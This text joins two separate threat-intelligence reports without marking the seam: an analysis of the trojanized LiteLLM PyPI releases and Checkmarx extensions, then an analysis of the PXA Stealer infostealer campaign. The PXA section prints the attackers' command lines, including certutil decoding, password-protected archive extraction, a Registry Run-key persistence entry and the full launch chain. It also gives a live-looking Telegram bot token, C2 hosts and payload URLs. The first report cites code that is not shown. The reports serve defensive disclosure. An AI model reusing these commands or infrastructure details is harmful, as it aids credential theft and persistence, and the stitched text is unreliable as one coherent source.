Repository compromise

The compromise affected the package distribution channel via PyPI: on March 24, 2026, malicious LiteLLM versions litellm==1.82.7 and litellm==1.82.8 were uploaded to the registry. It was specifically the package’s distribution contents that were compromised: in version 1.82.7, the malicious code was embedded in proxy_server.py, and in 1.82.8, the file litellm_init.pth was added.

Technical analysis

Both versions of the library contained the same malicious code, but its execution was implemented differently. In version 1.82.7, it was executed only when the proxy functionality was imported, while in 1.82.8, a .pth file was added that was able to execute the code every time the interpreter started.

Example of the malicious code in proxy_server.py

The malicious code in the proxy_server.py and litellm_init.pth files contained Python code encoded in Base64. After execution, the infected script saved this code alongside itself as a p.py file and immediately executed it.

The p.py script launched the main payload – another script, also encoded in Base64 – without saving it to disk. At the same time, it wrote the output of this payload to a file in the directory from which it was launched. Before being written, the output was encrypted using the AES-256-CBC algorithm with a random key generated in the code, which was saved to the session.key file. The key file was also encrypted – using a pre-initialized public RSA key.

The encrypted key and the output were combined into a tpcp.tar.gz archive and sent to the attackers’ remote server.

What exactly happened within the malicious payload whose output was sent to the C2 server? After it was launched, a recursive scan of the working directories on the victim’s system (/root, /app/, /var/www, etc.) began. In each directory, the script scanned the contents of files, which it output to the stdout buffer, from where it was then saved to the aforementioned file as the result. Next, the script collected system information and also saved it to the file. After that, it proceeded to search for sensitive data. It was interested in the following data located on servers and within the infrastructures of various services:

• SSH keys
• GIT accounts
• .env files
• AWS, Kubernetes, email service, database, and WireGuard configurations
• files related to Helm, Terraform, and CI
• TLS keys and certificates

A notable feature of this malware is that it does not limit itself to stealing files and configurations from the disk but also attempts to extract runtime secrets from the cloud infrastructure.

The code above uses the addresses 169.254.169.254 and 169.254.170.2. The first corresponds to the AWS Instance Metadata Service (IMDS), through which an EC2 instance (a virtual server in AWS, a machine running in the cloud) can retrieve metadata and temporary IAM role credentials (an AWS account with a set of permissions that a service or application can use to obtain temporary credentials for calls to the AWS API). The second is used in Amazon ECS to issue temporary credentials to a container during execution. Thus, the malicious script targets not only static secrets but also those issued by the cloud that can grant direct access to AWS resources at the time of infection.

Additionally, the script searches for crypto wallet configurations, as well as webhooks associated with Slack and Discord messengers. The latter indicates that the attackers are interested not only in infrastructure secrets and accounts, but also in communication channels within the development team.

In the next stage, the malware moves from data collection to establishing a foothold in the Kubernetes cluster infrastructure: if it has sufficient access, it configures a privileged pod (the smallest execution unit in Kubernetes, containing one or more containers) by enabling the securityContext.privileged=true option and mounts the node’s root filesystem via hostPath. This allows it to escape the container and perform actions at the node level.

Next, the malware executes another stage of infection: it saves a Base64-encoded script disguised as a legitimate system component to the Kubernetes node’s disk at the path /root/.config/sysmon/sysmon.py, and registers it via systemd. After launching, the script waits for an initial delay of 300 seconds, then begins periodically contacting the C2 node checkmarx[.]zone/raw, retrieving a link to the next payload from there. If the received value differs from the state previously saved in /tmp/.pg_state, the script downloads a new file to /tmp/pglog, makes it executable, and runs it in the background. At this stage, the attackers gain a foothold in the system and are capable of regularly delivering updated payloads without the need for re-injection. Since the malicious payload is written not to the container’s temporary file directory but directly to the Kubernetes cluster node, the attackers will retain access to the infrastructure even after the container has terminated.

A similar scenario is used for local persistence: in the absence of Kubernetes, the sysmon.py script is deployed in the user’s directory at ~/.config/sysmon/sysmon.py and is also registered as a service via systemd.

OpenVSX version of the malware

While analyzing files communicating with the C2 server, we discovered malicious versions of two common Checkmarx software extensions: ast-results 2.53.0 and cx-dev-assist 1.7.0. Checkmarx is used for application security assessment. These trojanized extensions contained malicious code that delivered the NodeJS version of the malware described above.

This version is downloaded from checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz using NodeJS package installation utilities and is named checkmarx-util. Its key difference from the Python version is that it does not attempt to elevate privileges to the Kubernetes node level and does not create a privileged pod for persistence. Instead, it implements local persistence within the current environment. This means that the NodeJS variant persists only where it is already running.

Additionally, the list of folders to search for and steal secrets from is significantly smaller in this version than in the Python variant.

Checkmarx extensions are used to scan code and infrastructure configurations, so their compromise is quite dangerous: an attacker gains access not only to project files but also to a significant portion of the development environment, tokens, and local configurations.

Victimology

While assessing the attack’s impact, we saw victims all over the world. Most infection attempts occurred in Russia, China, Brazil, the Netherlands, and UAE.

Conclusion

As the technical analysis shows, the malicious scripts found in the LiteLLM versions are dangerous not only because they steal files containing sensitive data, but also because they target multiple critical infrastructure components simultaneously: the local system, cloud runtime secrets, the Kubernetes cluster, and even cryptographic keys. Such a broad scope of data collection allows an attacker to quickly move from compromising a single system and Python environment to seizing service accounts, secrets, and entire infrastructures.

Prevention and protection

To protect against infections of this kind, we recommend using a specialized solution for monitoring open-source components. Kaspersky provides real-time data feeds on compromised packages and libraries, which can be used to secure the supply chain and protect development projects from such threats.

Home security solutions, such as Kaspersky Premium, help ensure the security of personal devices by providing multi-layered protection that prevents and neutralizes infection threats. Additionally, our solution can restore the device’s functionality in the event of a malware infection.

To protect corporate devices, we recommend using a complex solution such as Kaspersky NEXT, which allows you to build a flexible and effective security system. The products in this line provide threat visibility and real-time protection, as well as EDR and XDR capabilities for threat investigation and response.

At the time of writing, the compromised versions of LiteLLM had already been removed from PyPI and OpenVSX. If you have used them, and as a proactive response to the threat, we recommend taking the following measures on your systems and infrastructure:

• Perform a full system scan using a reliable security solution.
• Rotate all potentially compromised credentials: API keys, environment variables, SSH keys, Kubernetes service account tokens, and other secrets.
• Check hosts and clusters for signs of compromise: the presence of ~/.config/sysmon/sysmon.py files and suspicious pods in Kubernetes.
• Clear the cache and conduct an inventory of PyPI modules: check for malicious ones and roll back to clean versions.
• Check for indicators of compromise (files on the system or network signs).

Indicators of Compromise:

URLs
models[.]litellm[.]cloud
checkmarx[.]zone

Infected packages
85ED77A21B88CAE721F369FA6B7BBBA3
2E3A4412A7A487B32C5715167C755D08
0FCCC8E3A03896F45726203074AE225D

Scripts
F5560871F6002982A6A2CC0B3EE739F7
CDE4951BEE7E28AC8A29D33D34A41AE5
05BACBE163EF0393C2416CBD05E45E74

Executive Summary

• SentinelLABS and Beazley Security discovered and analyzed a rapidly evolving series of infostealer campaigns delivering the Python-based PXA Stealer.
• This discovery showcases a leap in tradecraft, incorporating more nuanced anti-analysis techniques, non-malicious decoy content, and a hardened command-and-control pipeline that frustrates triage and attempts to delay detection.
• We identified more than 4,000 unique victim IP addresses in exfiltrated logs, with infected systems spanning at least 62 countries, most notably South Korea, the United States, the Netherlands, Hungary, and Austria.
• The stolen data includes over 200,000 unique passwords, hundreds of credit card records, and more than 4 million harvested browser cookies, giving actors ample access to victims’ accounts and financial lives.
• The threat actors behind these campaigns are linked to Vietnamese-speaking cybercriminal circles who monetize the stolen data through a subscription-based underground ecosystem that efficiently automates resale and reuse through the Telegram platform’s API.

Overview

In close partnership, Beazley Security and SentinelLABS have uncovered a large-scale, ongoing infostealer campaign built around the Python-based PXA Stealer. Initially surfacing in late 2024, this threat has since matured into a highly evasive, multi-stage operation driven by Vietnamese-speaking actors with apparent ties to an organized cybercriminal Telegram-based marketplace that sells stolen victim data.

Throughout 2025, these actors have continuously refined their delivery mechanisms and evasion strategies. Most notably, they’ve adopted novel sideloading techniques involving legitimate signed software (such as Haihaisoft PDF Reader and Microsoft Word 2013), concealed malicious DLLs, and embedded archives disguised as common file types. These campaigns use elaborate staging layers that obscure their purpose and delay detection by endpoint tools and human analysts alike.

The final payload, PXA Stealer, exfiltrates a broad spectrum of high-value data–which includes passwords, browser autofill data, cryptocurrency wallet and FinTech app data, and more–to Telegram channels via automated bot networks. Our telemetry and analysis uncovered over 4,000 unique victims across more than 60 countries, suggesting a widespread and financially motivated operation that feeds into criminal platforms such as Sherlock. This data is then monetized and sold to downstream cybercriminals, enabling actors who engage in cryptocurrency theft or buy access to infiltrate organizations for other purposes.

This campaign exemplifies a growing trend in which legitimate infrastructure (e.g., Telegram, Cloudflare Workers, Dropbox) is weaponized at scale to both execute and monetize information theft, while simultaneously reducing the cost and technical overhead for attackers. As stealer campaigns become increasingly automated and supply-chain integrated, defenders must adjust to an adversary landscape defined not just by malware, but by infrastructure, automation, and real-time monetization.

SentinelLABS would like to extend sincere thanks to our partners at Beazley Security for their instrumental collaboration and openness in sharing critical insights throughout this investigation.

Background and Haihaisoft Sideloading

This cluster of PXA Stealer activity has been ongoing and active since late 2024, with some BotIDs being created as early as October, 2024. The general delivery mechanisms and TTPs have not changed. However the actors behind this cluster have continually pivoted to new sideloading mechanisms, along with updated Telegram C2 infrastructure.

During a wave of attacks occurring in April 2025, users were phished or otherwise lured into downloading a compressed archive containing a signed copy of the Haihaisoft PDF Reader freeware application along with the malicious DLL to be sideloaded. This component of the attack is responsible for establishing persistence on the target host via the Windows Registry, and retrieving additional malicious components, including Windows executable payloads hosted remotely on Dropbox. Various infostealers were delivered in this initial campaign, including LummaC2 and Rhadamanthys Stealer.

It was during the first wave that we also observed a change in TTPs: the threat actors shifted to updated Python-based payloads instead of Windows executables.

Attacks leveraging the updated Python-based payloads are initiated in the same manner: delivery of a large archive containing the signed copy of Haihaisoft PDF Reader, alongside the malicious DLL to be loaded.

Upon execution, the malicious DLL creates a .CMD script Evidence.cmd in the current directory, which orchestrates all subsequent steps in the attack chain. The .CMD script utilizes certutil to extract an encrypted RAR archive embedded inside a malformed PDF.

certutil -decode Documents.pdf LX8bzeZTzF5XSONpDC.rar

This command leads the Edge browser to open the PDF file, though this results in an error message as the file is not a valid PDF. Subsequently, the packaged WinRAR utility–masquerading as images.png–extracts an embedded RAR archive using decoded command lines. This process took several minutes and caused sandbox analysis to time out in several cases, which led to false negative results.

images.png x -pS8SKXaOudHX78CnCmjawuXJAXwNAzVeK -inul -y LX8bzeZTzF5XSONpDC.rar C:\Users\Public\LX8bzeZTzF5XSONpDC

This extracts several Python dependencies, including a legitimate Python 3.10 interpreter renamed svchost.exe and a malicious Python script named Photos, which are then executed. This step sets a Registry Run key to ensure the payload will run each time the computer starts.

reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Update Service" /t REGSZ _/d "cmd.exe /c start \"\" /min \"C:\Users\Public\LX8bzeZTzF5XSONpDC\svchost.exe\"
C:\Users\Public\LX8bzeZTzF5XSONpDC\Photos" /f

Evolved Infection Chain

In July 2025, our partners at Beazley Security’s MDR shared initial indications of a new campaign closely mirroring the infection chain and TTPs we’d observed. This iteration notably improves their operational maturity and additional functionality.

The large archive attached to the phishing lure contained:

• A legitimate, signed Microsoft Word 2013 executable
• A malicious DLL, msvcr100.dll, that is sideloaded by the Microsoft Word 2013 executable
• Additional files and later-stage payloads within a supporting directory named “_”.

While similar to the April campaign, the July wave introduces more sophisticated file naming to increase evasion and leverages non-malicious decoy documents opened to ensure the user remains unsuspecting.

The Microsoft Word 2013 binary is renamed to appear to the user as a Word document:

The other files extracted from the archive are hidden from the user in Windows Explorer but shown below:

When the victim opens the Word executable, Windows loads the malicious msvcr100.dll since the OS searches for the filename in the local directory before system directories. The sideloaded DLL then launches a hidden instance of Command Prompt and begins a multi-stage chain of activity:

First, Word launches a benign decoy document named Tax-Invoice-EV.docx, which displays a fake copyright infringement notice to the victim. We believe this document doubles as an anti-analysis feature by introducing a non-malicious file into the attack chain, which potentially wastes security analysts’ time. The document lacks macros or other scriptable objects.

Next, like the previous activity, certutil is used to decode a file from the “-“ folder into a new encrypted zip archive that is deceptively named with a PDF file extension, Document.pdf for example:

certutil -decode Document.pdf Invoice.pdf

Then, a legitimate WinRar executable also hosted in the “-“ folder renamed images.png is used to unpack the archive:

images.png x -ibck -y -poX3ff7b6Bfi76keXy3xmSWnX0uqsFYur Invoice.pdf C:\\Users\\Public

The second archive contains a portable Windows Python interpreter, several Python libraries, and a malicious Python script. The Python interpreter is renamed to svchost.exe and launches a heavily obfuscated Python script again disguised as images.png, followed by the $BOT_ID argument.

start C:\\Users\\Public\\Windows\\svchost.exe C:\\Users\\Public\\Windows\\Lib\\images.png $BOT_ID

Payload Analysis

The final payload is an updated version of PXA Stealer. PXA Stealer is a Python-based infostealer which first emerged in 2024. PXA is primarily seen in Vietnamese-speaking threat actor circles. The malware targets sensitive information including credentials, financial data, browser data and cookies, and cryptocurrency wallet details. As detailed below, a wide variety of applications and data types within these categories are supported by PXA Stealer. PXA Stealer is capable of exfiltrating data via Telegram, as has been observed in prior campaigns.

Similar to prior campaigns, the newly observed PXA Stealer payloads are capable of identifying, packaging, and exfiltrating data from an extensive list of applications and interfaces on infected systems. Exfiltration continues to be handled via Telegram, with specific Telegram BOT IDs and Tokens identified as tied to these more recent campaigns.

The new variant of PXA Stealer will enumerate Chromium/Gecko browsers, decrypt any saved passwords, cookies, stored personally identifiable information (PII), autofill data, and any authentication tokens. The infostealer will also attempt to inject a DLL into running instances of browsers such as Chrome, targeting Chrome’s App-Bound Encryption Key to defeat the internal encryption schemes within Chrome. The DLL injected during the July campaign targets MSEdge, Chrome, Whale, and CocCoc browsers.

The infostealer also grabs files from dozens of desktop cryptocurrency wallets, VPN clients, Cloud-CLI utilities, connected fileshares, as well as applications such as Discord, and much more.

The collected data is packaged into ZIP archives then exfiltrated to a specific Telegram bot via Cloudflare Worker relays. There are also conditions where the malware will reach out to external sources for additional Python payloads, such as 0x0[.]st, a Pastebin-like temporary file hosting resource. Other analyzed PXA Stealer payloads support stealing data from the following browsers:

The malware targets the following list of cryptocurrency wallet related browser extensions:

User databases and configuration files for the following applications are targeted, many of which house sensitive data or cryptocurrency assets:

The infostealer is also capable of targeting website-specific data. The malware includes the following list of sites, for which the stealer will attempt to discover and collect credentials, cookies and session tokens. The targeted sites are primarily financial, such as FinTech services or cryptocurrency exchanges:

The specific Telegram Bot Token, and associated Chat ID, identified in the samples from July are:

Telegram Bot Token: 7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ

Telegram Chat ID: -1002698513801

Data is exfiltrated to Telegram via connection via Cloudflare workers. The specific Cloudflare DNS address is:

Lp2tpju9yrz2fklj.lone-none-1807.workers[.]dev

We reported this abuse of Cloudflare Workers to Cloudflare, and we thank their team for taking immediate action to disrupt this malicious infrastructure.

Each of the final PXA Stealer payloads corresponds to a Telegram Bot Token and ChatID combination. Each variant we analyzed is associated with the same Telegram Bot Token (7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ) although the ChatIDs vary. Additionally, there can be multiple ChatIDs, which correspond to a Telegram channel, tied to each payload. Each bot is tied to as many as 3 Telegram channels. One channel, typically denoted with the New Logs string, receives exfiltrated data contained in zip archives uploaded from victims’ machines, along with log/ledger style data for each victims’ exfiltrated data set. Specific entries also indicate the victim’s geographic location, IP address and other contextual data.

PXA Stealer log entries show counts for the types of data within: CK:2868|PW:482|AF:606|CC:0|FB:1|Sites:4|Wallets:0|Apps:1

The stealer data types include:

• CK = Cookies
• PW = Passwords
• AF = AutoFill data
• CC = Credit Card data
• FB = Facebook Cookies
• TK = Authentication Tokens
• Sites = Domains / Site specific data
• Wallets = Crypto Wallet data
• Apps = Application specific data (ex: private messenger chat history and keys)

Each bot will also have an associated ‘Reset’ and ‘Notifications’ channel as well. The ‘Notification’ channels appear to allow operators to automate their communications process when new victim logs are uploaded or otherwise obtained. The ‘Reset’ channels appear to be used in similar manner to the ‘New Logs’ channels, storing newly exfiltrated victim data.

While all analyzed variants share the same Bot Token ID, we have observed multiple ChatIDs across the New Log/Reset/Notification combinations across this stealer’s ecosystem. The observed Bots-to-ID sets include:

Telegram BotID 7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ

• James_New_Ver_bot (yd2sV / James)
  • James – New Logs
  • James – New Logs Notification
  • James – Reset Logs
• DA_NEW_VER_BOT (qDTxA / DUC ANH)
  • New Logs – \u0110\u1ee9c Anh
  • Reset Logs – \u0110\u1ee9c Anh
• MRB_NEW_VER_BOT (Plk1y / MRB_NEW)
  • New Logs
  • Reset Logs
  • Notify
• JND_NEW_VER_BOT (5DJ0P / JND)
  • JND – New Logs
  • JND – Reset Logs
• AND_2_NEW_VER_BOT (oaCzj / ADN 2 / Adonis)
  • Adonis – New Logs
  • Adonis – Reset Logs
  • New Log Notification

The encompassing Telegram ID is connected to a Bot that has the following properties:

Username: “Logs_Data_bot”
Firstname: \u0412\u0418\u0414\u0415\u041e \u0421 \u041b\u0410\u0419\u041a\u0410
Lastname: (nul)

The firstname field on this bot decodes to a string of Cyrillic text “ВИДЕО С ЛАЙКА”. This roughly translates to ‘Video for/with/of Laika,” though the significance of this string is unclear.

Telegram Abuse and Attribution

The later-stage dropper component is responsible for parsing target Telegram URLs based on a string gathered from a prescribed Telegram ChatID. This string is then combined with the base URL for either paste[.]rs or 0x0[.]st to retrieve the next batch of obfuscated Python code.

Multiple identifiers were observed across the multitude of analyzed samples. The most prominent we observed are:

• ADN_2_NEW_VER_BOT
• DA_NEW_VER_BOT
• JAMES_NEW_VER_BOT
• JND_NEW_VER_BOT
• MR_P_NEW_VER_BOT
• MR_Q_NEW_VER_BOT
• KBL_NEW_VER_BOT
• MRB_NEW_VER_BOT

These identifiers are visible within the commands launched by the side-loaded DLL described above.

cmd /c cd _ && start Tax-Invoice-EV.docx && certutil -decode Document.pdf Invoice.pdf && images.png x -ibck -y -poX3ff7b6Bfi76keXy3xmSWnX0uqsFYur Invoice.pdf C:\\Users\\Public && start C:\\Users\\Public\\Windows\\svchost.exe C:\\Users\\Public\\Windows\\Lib\\images.png MR_Q_NEW_VER_BOT && del /s /q Document.pdf && del /s /q Invoice.pdf && exit && exit)

Each of these _NEW_VER_BOT identifiers corresponds to a Telegram User ID. The profile names resemble a bot, but are actually user accounts:

When retrieving files from paste[.]rs, the corresponding strings are concatenated with the hxxps://paste[.]rs or hxxps://0x0[.]st prefix, which constructs the full download URL hosting another payload.

The Telegram ChatID associated with the infostealer component of this attack is “@Lonenone.” The “Lonenone” theme is also present in the Cloudflare Worker hostname lp2tpju9yrz2fklj[.]lone-none-1807[.]workers[.]dev. The profile display name contains an emoji of the Vietnam flag.

This Telegram ChatID/Account is associated with the same threat actor using PXA Stealer as previously described by Cisco Talos. It is worth noting that there are a number of other Vietnamese-language artifacts present in these stages of the malware. For example, the aforementioned Telegram BOT IDs show ‘Duc Anh’…aka “đức anh” as display names, which loosely translates to “brother”.

PXA Stealer uses the BotIDs (stored as TOKEN_BOT) to establish the link between the main bot and the various ChatID (stored as CHAT_ID). The ChatIDs are Telegram channels with various properties, but they primarily serve to host exfiltrated data and provide updates and notifications to the operators.

PXA Stealer transmits data via HTTP POST requests to the Telegram API. Everything is handled via HTTPS, thus there is no visible Telegram process or self-contained client producing the traffic. This is one of PXA stealer’s methods of hiding exfiltration traffic from potential analysis or detection.

Prior to transferring the exfiltrated data, the stealer packages stage data into an archive using the following naming convention where CC=Country Code:

[CC_IPADDRESS]_HOSTNAME.zip (ex: [RU_123.45.67[.]89]DESKTOP-VICTIM.zip)

The main BotID (7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ) includes a reference to probiv[.]gg in the Bot metadata:

":[{"command":"start","description":"probiv.gg \u0437\u0430\u043f\u043e\u043c\u043d\u0438 \ud83d\udd25"}

Probiv[.]gg contains a redirect to the Sherlock Telegram Bot Service, which provides a search interface for data culled from infostealers.

We also tracked activity from the bots since April indicating targeting of victims in South Korea. The following image shows details of exfiltrated data from one Korea-based victim by the MRB_NEW_VER_BOT ID.

Victimology

Our analysis uncovered details around victimology for several active BotIDs associated with the ongoing PXA Stealer campaign. Some of these Bots have been active since at least October 2024, and they continue to receive data from infected hosts to date.

The PXA Stealer logs contain victim IP addresses that indicate there are potentially more than 4,000 unique victims from 62 countries. The top targeted countries in the analyzed set are:

1. Republic of Korea (KR)
2. United States (US)
3. Netherlands (NL)
4. Hungary (HU)
5. Austria (AT)

Some appear to favor specific locations, for example Adonis (ADN_2_NEW_VER_BOT) most heavily targets hosts in Israel and Taiwan, followed by South Korea and the United States.

Conclusion

The evolving tradecraft in these recent campaigns demonstrates that these adversaries have meticulously refined their deployment chains, making them increasingly more challenging to detect and analyze. The July 2025 attack chain in particular illustrates a highly tailored approach engineered to bypass traditional antivirus solutions, delay execution in sandboxes, and mislead SOC analysts who review process trees or EDR data by using byzantine delivery and installation methods.

This campaign’s medley of legitimate applications and non-malicious decoy documents is designed to mislead users and SOC analysts alike. The actors reinforce this facade by naming a user-space folder to mimic the system directory Windows and disguising a Python interpreter as svchost.exe to blend into typical system activity. In parallel, they use files with familiar extensions, such as PNG and PDF, to conceal embedded WinRAR executables and ZIP archives, layering their evasion techniques to mislead users, investigators, and traditional detection technologies.

PXA Stealer, and the threat actors behind it, continue to feed the greater infostealer ecosystem. It is also important to note that PXA, along with similar stealers like Redline, Lumma, and Vidar, each produce data that can be neatly ingested into data monetization ecosystems. The sales-oriented services like Sherlock, such as Daisy Cloud and Moon Cloud, take data harvested by these stealers directly from the bots. The more mature services then normalize the sets of exfilterated data to make it ‘sales-ready’. The idea behind leveraging the legitimate Telegram infrastructure is driven by the desire to automate exfiltration and streamline the sales process, which enables actors to deliver data more efficiently to downstream criminals. The developer-friendly nature of Telegram–combined with the company’s laissez-faire attitude towards cybercrime–underscores the crucial role that Telegram plays in the holistic cybercriminal ecosystem.

Indicators of Compromise

SHA-1 Hashes

Domains

URLs

hxxps://0x0[.]st/8nyT.py
hxxps://0x0[.]st/8dxc.py
hxxps://0x0[.]st/8GcQ.py
hxxps://0x0[.]st/8GpS.py
hxxps://0x0[.]st/8ndd.pyhxxps://0x0[.]st/8GcO.py
hxxps://0x0[.]st/8GsK[.]py
hxxps://paste[.]rs/yd2sV
hxxps://paste[.]rs/umYBi
hxxps://paste[.]rs/qDTxA
hxxps://paste[.]rs/Plk1y
hxxps://paste[.]rs/5DJ0P
hxxps://paste[.]rs/oaCzj
hxxps://www[.]dropbox[.]com/scl/fi/c1abtpif2e6calkzqsrbj/.dll?rlkey=9h1ar7wmsg407ngpl25xv2spt&st=mp7z58v2&dl=1